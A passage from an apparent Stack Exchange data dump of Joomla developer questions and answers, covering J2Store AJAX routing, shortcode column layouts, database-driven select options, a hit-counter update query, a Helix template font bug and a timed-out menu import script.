this problem it's hard for me to know what's causing the issue. In particular I don't know if I've structured my code incorrectly in the Joomla structure or if my AJAX call is just wrong. Hopefully someone can help clarify things for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt; mixahlos pointed out that my old url &quot;index.php?option=com_j2store&amp;amp;format=raw&amp;amp;controller=products&amp;amp;task=doSomething&quot; was incorrect, but I'm still getting the error&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="13088" LastEditDate="2018-11-22T01:15:15.757" LastActivityDate="2018-11-23T09:31:14.567" Title="Simple AJAX call to a component giving 403 (Forbidden) error" Tags="|component|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23813" PostTypeId="2" ParentId="23812" CreationDate="2018-11-22T00:28:34.737" Score="1" Body="&lt;p&gt;Looks like the url in your Ajax call is wrong.&#xA;You shouldn't use the controller as a var in the url but as prefix followed by the task. Also after the &quot;?&quot; goes the option and then the rest of url vars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to Replace :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;url:&#xA;  &quot;index.php?format=raw&amp;amp;option=com_j2store&amp;amp;controller=products&amp;amp;task=doSomething&quot;,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: &quot;index.php?option=com_j2store&amp;amp;format=raw&amp;amp;task=products.doSomething&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-11-22T00:28:34.737" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23814" PostTypeId="2" ParentId="23812" CreationDate="2018-11-22T07:14:05.553" Score="2" Body="&lt;p&gt;As you just begin to develop a joomla component you really got into a heavy duty job right away. J2Store is a quite well built component (I like that and use that), however it's built with using FOF (and on the top of that, with the old FOF and by a quite advanced developer guy). So you will have few additional things to study and a bit of a headache too (chronic :) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not yet test the following but as far as I know this component, try to create your ajax call url like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: 'index.php?option=com_j2store&amp;amp;view=products&amp;amp;task=doSomething',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should make the required call to the targeted J2Store controller function according to me, even if it does not look like that. Give me some feedback. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;... still testing the calls on local host...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you run your Joomla&lt;/strong&gt; on localhost, then it's better to use the url in the call with opening backslash, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: '/index.php?option=com_j2store&amp;amp;view=callback&amp;amp;task=callback&amp;amp;method=doSomething',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, it is not a bad idea to place and test your &lt;strong&gt;doSomething()&lt;/strong&gt; function inside the &lt;strong&gt;J2Store callback controller&lt;/strong&gt; class (callback.php) since this component is using this class mostly for ajax calls as I see. You will find this class among the component controllers. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class J2StoreControllerCallback extends F0FController&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I call a function here in this class with the above url, then I got &lt;strong&gt;200 OK&lt;/strong&gt; response. And as I see, in this class, the csrf protection is also turned off which can help you with successful ajax calls too. Interesting things...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I put the following ajax call script in the &lt;strong&gt;components/com_j2store/templates/default/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;     $ = jQuery.noConflict();        &#xA;        $(document).ready(function() {&#xA;            $('#mybutton2').on('click', function() {&#xA;                $.ajax({&#xA;                    url: '/index.php?option=com_j2store&amp;amp;view=callback&amp;amp;task=callback&amp;amp;method=doSomething',&#xA;                    cache: false,&#xA;                    type: 'GET',                        &#xA;                    success: function(data) {&#xA;                        alert('its good');&#xA;                        console.log(data);&#xA;                    },&#xA;                    error: function(){&#xA;                        console.log('its not working');&#xA;                    },&#xA;                });&#xA;            });&#xA;        });&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just also placed a button in this same template file (in the top div somewhere) for testing the ajax call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;     &amp;lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot; id=&quot;mybutton2&quot;&amp;gt;MyButton&amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above template is the main product list template of the shop. So the ajax call gets through here, however many test should be done still, from where and to which class the ajax calls should be made to and a few of the other things... I just hope you can follow this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, just to really close this question, we have &lt;strong&gt;a successful ajax call&lt;/strong&gt; to one of the J2Store controller(callback.php) which is immediately checking the call and redirecting the call to the &lt;strong&gt;Model(components/com_j2store/models/callback.php)&lt;/strong&gt;, which Model receives the call and check if it has any &lt;strong&gt;$method&lt;/strong&gt; corresponding, defined in this class, same as in the method defined in the ajax call. So I placed our &lt;strong&gt;doSomething() function&lt;/strong&gt; in the bottom of this callback model class (models/callback.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function doSomething() &#xA;{&#xA;        $mymessage = 'this is from the callback function';&#xA;        echo new JResponseJson($mymessage);&#xA;        $status = true;&#xA;        return $status;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in this callback model Class's function:&lt;strong&gt;function runCallback($method){}&lt;/strong&gt; I inserted a 3 liner &lt;strong&gt;if checking&lt;/strong&gt; at line 23, which looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($rawDataGet['method'] == 'doSomething')&#xA;{&#xA;    $this-&amp;gt;doSomething();&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now &lt;strong&gt;my doSomething()&lt;/strong&gt; function is running and I get whatever response I define in my doSomething() function. So this is how ajax calls should work within an MVC which is structured this way with FOF.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-11-23T09:31:14.567" LastActivityDate="2018-11-23T09:31:14.567" CommentCount="18" ContentLicense="CC BY-SA 4.0" />
  <row Id="23815" PostTypeId="1" AcceptedAnswerId="23825" CreationDate="2018-11-22T15:49:33.960" Score="1" ViewCount="60" Body="&lt;p&gt;I am trying to fix a formatting Error in a Joomla! Project I took over in my School. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently they used a HTML Instructions (as far as I unterstand this) in the Article. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[columns add_margins=true css=&quot;z-index:4;&quot;] [column width_sm=&quot;4&quot;] [html]&#xA;  //Content of first Column&#xA;[/html] [/column] [column width_sm=&quot;4&quot; css=&quot;position:relative;&quot;] [html]&#xA;  //Content of second Column&#xA;[/html] [/column] [column width_sm=&quot;4&quot;] [html]&#xA;  //Content of third Column&#xA;[/html] [/column] [/columns] [fluid][html ]&#xA;[/html][/fluid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem now is, that if theire Content (Lines like this: &lt;code&gt;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;M, Bsp, Erste-Hilfe-Beauftragter&amp;lt;/p&amp;gt;&lt;/code&gt;) is multiple Rows long, the Lines are getting messed up (see img). I tried using Flex-Boxes which resulted in a mess, but the person maintaining the content, wants to stick to the current form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tCr9b.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Problem Image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Editor View looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;[columns add_margins=true css=&quot;z-index:4;&quot;] [column width_sm=&quot;4&quot;] [html]&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;h5 style=&quot;text-align: center;&quot;&amp;gt;Beiglböck Matthias, BEd&amp;lt;/h5&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;a href=&quot;joomplu:52 type=img&quot;&amp;gt;&amp;lt;img class=&quot;jg_photo&quot; src=&quot;index.php?option=com_joomgallery&amp;amp;amp;view=image&amp;amp;amp;format=raw&amp;amp;amp;id=52&amp;amp;amp;type=thumb&quot; alt=&quot;joomplu:52&quot; /&amp;gt;&amp;lt;/a&amp;gt;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;M, Bsp, Erste-Hilfe-Beauftragter&amp;lt;/p&amp;gt;&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;[/html] [/column] [column width_sm=&quot;4&quot; css=&quot;position:relative;&quot;] [html ]&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;h5 style=&quot;text-align: center;&quot;&amp;gt;Beiglböck Matthias, BEd&amp;lt;/h5&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;a href=&quot;joomplu:52 type=img&quot;&amp;gt;&amp;lt;img class=&quot;jg_photo&quot; src=&quot;index.php?option=com_joomgallery&amp;amp;amp;view=image&amp;amp;amp;format=raw&amp;amp;amp;id=52&amp;amp;amp;type=thumb&quot; alt=&quot;joomplu:52&quot; /&amp;gt;&amp;lt;/a&amp;gt;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;M, Bsp, Erste-Hilfe-Beauftragter&amp;lt;/p&amp;gt;&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;[/html] [/column] [column width_sm=&quot;4&quot;] [html ]&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;h5 style=&quot;text-align: center;&quot;&amp;gt;Beiglböck Matthias, BEd&amp;lt;/h5&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;a href=&quot;joomplu:52 type=img&quot;&amp;gt;&amp;lt;img class=&quot;jg_photo&quot; src=&quot;index.php?option=com_joomgallery&amp;amp;amp;view=image&amp;amp;amp;format=raw&amp;amp;amp;id=52&amp;amp;amp;type=thumb&quot; alt=&quot;joomplu:52&quot; /&amp;gt;&amp;lt;/a&amp;gt;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;M, Bsp, Erste-Hilfe-Beauftragter&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;[/html] [/column] [/columns] [fluid][html ]&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;[/html][/fluid]&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is their a way I can stick to this method without throwing away everything or is this a complete mess and has to be redone? I am complete new to Joomla! Running Joomla! 3.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nms-ma.at/index.php/team/lehrende&quot; rel=&quot;nofollow noreferrer&quot;&gt;Full Website here*&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="13090" LastEditorUserId="13090" LastEditDate="2018-11-22T20:02:43.353" LastActivityDate="2019-04-23T09:01:00.457" Title="Responsive Height Columns in Article" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23816" PostTypeId="1" AcceptedAnswerId="23817" CreationDate="2018-11-22T19:29:48.213" Score="2" ViewCount="57" Body="&lt;p&gt;I'm creating a Joomla 3x SP Pagebuilder3 addon, but I'm having a bit of challenge getting a database results as an option in a select type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've done so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyCustomTypes {&#xA;&#xA;public static function getBannerCats(){&#xA;    $db       = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select(array('id', 'title', 'alias'))&#xA;        -&amp;gt;from('#__categories')&#xA;        -&amp;gt;where('extension = ' . $db-&amp;gt;quote('com_banners'))&#xA;        -&amp;gt;where('parent_id &amp;gt; 0')&#xA;        -&amp;gt;where('published &amp;gt; -1');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $items = $db-&amp;gt;loadObjectList();&#xA;&#xA;     $options = array();&#xA;     if ($items)&#xA;     {&#xA;      foreach($items as $item)&#xA;      {&#xA;        // THIS IS WHERE MY PROBLEM IS&#xA;        $options[] = $item-&amp;gt;title;&#xA;      }&#xA;     }&#xA;&#xA;    // $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;     return $options;&#xA;&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to options to show here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        'category_ids'=&amp;gt;array(&#xA;            'type'=&amp;gt;'select',&#xA;            'title'=&amp;gt;JText::_('Categories'),&#xA;            'desc'=&amp;gt;JText::_('Category Source'),&#xA;            'values'=&amp;gt;array(MyCustomTypes::getBannerCats()),// Result will show here like so 'result_id'=&amp;gt;'result_title'&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will be glad if someone can help me. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7083" LastEditorUserId="7083" LastEditDate="2018-11-23T03:09:44.040" LastActivityDate="2018-11-24T11:18:52.307" Title="Add Database result As a Select Option" Tags="|joomla-3.x|extensions|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23817" PostTypeId="2" ParentId="23816" CreationDate="2018-11-22T21:27:21.790" Score="1" Body="&lt;p&gt;After updating your question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your &lt;code&gt;$options&lt;/code&gt; array must be associative, then build it that way in the loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options[$item-&amp;gt;id] = $item-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;values&lt;/code&gt; element looks to be too complex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'values'=&amp;gt;array(MyCustomTypes::getBannerCats())  // multi-dim array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will store your returned 1-dimensional array inside of an array.  Instead, I suppose you should be using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'values' =&amp;gt; MyCustomTypes::getBannerCats()  // 1-dimensional array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Before the question update...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like your &lt;code&gt;select()&lt;/code&gt; method is receiving 3 parameters, but you intend to pass 1 string containing 3 values or an array with 3 elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select(['id', 'title', 'alias'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select('id, title, alias')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select($db-&amp;gt;qn(['id', 'title', 'alias']))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To explain &lt;a href=&quot;https://docs.joomla.org/API16:JDatabaseQuery/select&quot; rel=&quot;nofollow noreferrer&quot;&gt;what Joomla is doing&lt;/a&gt;... The &lt;code&gt;select()&lt;/code&gt; method only accepts one parameter/argument, so only &lt;code&gt;id&lt;/code&gt; is used and &lt;code&gt;title&lt;/code&gt; and &lt;code&gt;alias&lt;/code&gt; are simply ignored by the method.  If you call &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt; you would see something like the following (with your table prefix in place of &lt;code&gt;#_&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SELECT id&lt;br&gt;FROM #__categories&lt;br&gt;WHERE extension = 'com_banners' AND&#xA;  parent_id &gt; 0 AND published &gt; -1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ergo, &lt;code&gt;$item-&amp;gt;title;&lt;/code&gt; will never have any data in it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Before posting a question when thinks &lt;em&gt;aren't working&lt;/em&gt;, please check for errors and dump your query to make sure that there are no simple typos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. if you are only going to use &lt;code&gt;title&lt;/code&gt; then only write one value in the SELECT, and use &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#loadColumn.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;a simpler result set retrieving method to process a single column of data&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-11-24T11:18:52.307" LastActivityDate="2018-11-24T11:18:52.307" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23818" PostTypeId="2" ParentId="14037" CreationDate="2018-11-22T23:58:42.877" Score="0" Body="&lt;p&gt;Your question is a little unclear on the objective because there is no posted &lt;code&gt;UPDATE&lt;/code&gt; coding attempt, but I assume that you mean to &quot;increment&quot; the hit count on the &lt;code&gt;#__chichi_photos&lt;/code&gt; table using the &lt;code&gt;$photoID&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$photoID = 1;                                        // whatever you set it to be&#xA;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;update(&quot;#__chichi_photos&quot;)&#xA;                -&amp;gt;set(&quot;hit = hit + 1&quot;)               // increment the row's value&#xA;                -&amp;gt;where(&quot;id = &quot; . (int)$photoID);    // cast as int for security/stability&#xA;    echo $query-&amp;gt;dump();                             // show yourself the query being run&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    if ($affrows = $db-&amp;gt;getAffectedRows()) {         // check for &quot;logical&quot; success&#xA;        echo &quot;Incremented hit count for photo# $photoID&quot;;&#xA;    } else {                                         // catch &quot;logical&quot; failure&#xA;        echo &quot;Failed to increment hit count for photo# $photoID&quot;;&#xA;    }&#xA;} catch (Exception $e) {                             // catch any syntax failures&#xA;    echo &quot;Query Syntax Error: &quot; , $e-&amp;gt;getMessage();  // never show getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-11-23T00:04:28.480" LastActivityDate="2018-11-23T00:04:28.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23819" PostTypeId="2" ParentId="23724" CreationDate="2018-11-23T04:23:20.647" Score="1" Body="&lt;p&gt;This is a bug with Helix III framework, Helix author is working on this problem to fix it. Please go to “templates” folder, open your Helix template, find and rename the folder “webfont” to “_webfont”, or just delete it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pt1rx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pt1rx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see full guides with images via &lt;a href=&quot;https://enginetemplates.com/solution-for-google-font-problem-from-helix-template-settings-in-joomla-3-9/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11041" LastEditorUserId="11041" LastEditDate="2018-11-24T08:00:51.503" LastActivityDate="2018-11-24T08:00:51.503" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23820" PostTypeId="2" ParentId="23323" CreationDate="2018-11-23T04:27:58.203" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure that you set &quot;Public&quot; for your pages, some case you set only admin login, so this warning is appeared.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you send me URL? So, I can help. Look like it's just CSS problem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11041" LastActivityDate="2018-11-23T04:27:58.203" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23822" PostTypeId="2" ParentId="23724" CreationDate="2018-11-23T04:42:38.627" Score="-1" Body="&lt;p&gt;This is problem with Helix III when you updated Joomla! to 3.9, you can fix it easier, by access your source code via FTP or File Manager, go to folder &quot;templates/[your-helix-template]/&quot;, then find folder &quot;webfont&quot; and delete it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For full guides, you can see it at &lt;a href=&quot;https://agethemes.com/how-to-fix-google-font-issue-in-helix-template-settings-after-updating-joomla-3-9/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13093" LastEditorUserId="13093" LastEditDate="2018-11-24T08:08:00.300" LastActivityDate="2018-11-24T08:08:00.300" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23823" PostTypeId="1" CreationDate="2018-11-23T12:12:49.723" Score="0" ViewCount="50" Body="&lt;p&gt;How we can create Joomla menus using excel sheet of 2k rows?. I created the script but it gets time out after certain number of insertion i.e. 50 or 100 sometime.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    foreach($finalData as $key=&amp;gt;$val)&#xA;{&#xA;    echo $key.&quot;&amp;lt;br/&amp;gt;&quot;;&#xA;    $params     =   [&#xA;        &quot;service_description&quot;   =&amp;gt;  $val[7],&#xA;        &quot;contact_number&quot;        =&amp;gt;  $val[8],&#xA;        &quot;contact_email&quot;         =&amp;gt;  $val[9],&#xA;        &quot;keywords&quot;              =&amp;gt;  $val[10],&#xA;        &quot;price&quot;                 =&amp;gt;  $val[11],&#xA;        &quot;banner&quot;                =&amp;gt;  $defaultBanner,&#xA;        &quot;menu-anchor_title&quot;     =&amp;gt;  &quot;&quot;,&#xA;        &quot;menu-anchor_css&quot;       =&amp;gt;  &quot;&quot;,&#xA;        &quot;menu_image&quot;            =&amp;gt;  &quot;&quot;,&#xA;        &quot;menu_image_css&quot;        =&amp;gt;  &quot;&quot;,&#xA;        &quot;menu_text&quot;             =&amp;gt;  1,&#xA;        &quot;menu_show&quot;             =&amp;gt;  1,&#xA;        &quot;page_title&quot;            =&amp;gt;  &quot;&quot;,&#xA;        &quot;show_page_heading&quot;     =&amp;gt;  &quot;&quot;,&#xA;        &quot;page_heading&quot;          =&amp;gt;  &quot;&quot;,&#xA;        &quot;pageclass_sfx&quot;         =&amp;gt;  &quot;&quot;,&#xA;        &quot;menu-meta_description&quot; =&amp;gt;  $val[7],&#xA;        &quot;menu-meta_keywords&quot;    =&amp;gt;  $val[10],&#xA;        &quot;robots&quot;                =&amp;gt;  &quot;&quot;,&#xA;        &quot;secure&quot;                =&amp;gt;  0&#xA;    ];&#xA;&#xA;&#xA;    $custom_data    =   [&#xA;        &quot;parent_id&quot;             =&amp;gt;  $jinput-&amp;gt;get(&quot;parent_id&quot;),&#xA;        &quot;level&quot;                 =&amp;gt;  2,&#xA;        &quot;menutype&quot;              =&amp;gt;  &quot;mainmenu&quot;,&#xA;        &quot;title&quot;                 =&amp;gt;  &quot;Sameday and On Board Couriers in &quot;.$val[2],&#xA;        &quot;type&quot;                  =&amp;gt;  &quot;component&quot;,&#xA;        &quot;link&quot;                  =&amp;gt;  &quot;index.php?option=com_couriercsv&amp;amp;view=courier&quot;,&#xA;        &quot;published&quot;             =&amp;gt;  1,&#xA;        &quot;browserNav&quot;            =&amp;gt;  0,&#xA;        &quot;access&quot;                =&amp;gt;  1,&#xA;        &quot;template_style_id&quot;     =&amp;gt;  0,&#xA;        &quot;params&quot;                =&amp;gt;  json_encode($params),&#xA;        &quot;home&quot;                  =&amp;gt;  0,&#xA;        &quot;language&quot;              =&amp;gt;  &quot;*&quot;,&#xA;        &quot;client_id&quot;             =&amp;gt;  0,&#xA;        &quot;component_id&quot;          =&amp;gt;  $component-&amp;gt;extension_id&#xA;    ];&#xA;&#xA;    $menu   =   JTable::getInstance('Menu','MenusTable');&#xA;&#xA;    // menu if present &#xA;    $menu-&amp;gt;load(0);&#xA;&#xA;    $menu-&amp;gt;setLocation($custom_data['parent_id'], 'last-child');&#xA;&#xA;    $menu-&amp;gt;bind($custom_data);&#xA;    $menu-&amp;gt;store();&#xA;&#xA;    if($menu-&amp;gt;id)&#xA;    {&#xA;        $menu-&amp;gt;rebuildPath($menu-&amp;gt;id);&#xA;        // store the menu id&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13096" LastEditorUserId="13096" LastEditDate="2018-11-23T12:22:20.600" LastActivityDate="2018-11-24T07:00:18.253" Title="Creating Menus using excel sheet" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23824" PostTypeId="2" ParentId="23823" CreationDate="2018-11-23T17:41:45.437" Score="2" Body="&lt;p&gt;Apparently your script runs out of &lt;a href=&quot;http://php.net/manual/en/info.configuration.php#ini.max-execution-time&quot; rel=&quot;nofollow noreferrer&quot;&gt;max_execution_time&lt;/a&gt; - You could temporary increase this to allow your script to complete, since this seems to be 1-shot action. Check also &lt;a href=&quot;http://php.net/manual/en/function.set-time-limit.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;set_time_limit&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to write a cli script and run it from the command line, where there is no max_execution_time restriction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you are building an extension that will need to handle such imports on all kind of environments, then you should take a different approach - so that your script will have to make the imports in various steps that will take shorter time than the max_execution_time of each server and not in 1 go. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-11-24T07:00:18.253" LastActivityDate="2018-11-24T07:00:18.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23825" PostTypeId="2" ParentId="23815" CreationDate="2018-11-23T19:38:01.727" Score="1" Body="&lt;p&gt;It looks like there is a plugin in your site that provides short-codes, which can be used inside the content to help produce specific mark-up on the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this specific case and after inspecting the live webpage, it seems like the whole page content has been divided in 3 &quot;columns&quot; using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [fluid]&#xA; [columns add_margins=true css=&quot;z-index:4;&quot;]&#xA; [column width_sm=&quot;4&quot;]&#xA; [html]&#xA;   &amp;lt;!--THIS IS COLUMN 1--&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 1 Name&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 1 Image&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 1 Subtext&amp;lt;/p&amp;gt;&#xA;   &amp;lt;hr&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 2 Name&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 2 Image&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 2 Subtext&amp;lt;/p&amp;gt;&#xA;   &amp;lt;hr&amp;gt;&#xA; [/html]&#xA; [/column]&#xA;&#xA; [column width_sm=&quot;4&quot;]&#xA; [html]&#xA;   &amp;lt;!--THIS IS COLUMN 2--&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 3 Name&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 3 Image&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 3 Subtext&amp;lt;/p&amp;gt;&#xA;   &amp;lt;hr&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 4 Name&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 4 Image&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;Person 4 Subtext&amp;lt;/p&amp;gt;&#xA;   